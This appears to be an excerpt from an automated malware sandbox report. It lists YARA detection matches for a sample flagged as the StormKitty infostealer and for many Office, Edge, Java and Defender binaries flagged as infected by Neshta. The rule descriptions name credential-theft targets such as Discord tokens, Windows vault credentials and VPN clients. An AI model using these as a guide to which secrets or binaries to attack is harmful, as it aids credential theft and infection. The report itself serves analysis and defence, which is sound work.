Source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\AutoIt3\Uninstall.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Windows\svchost.com, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
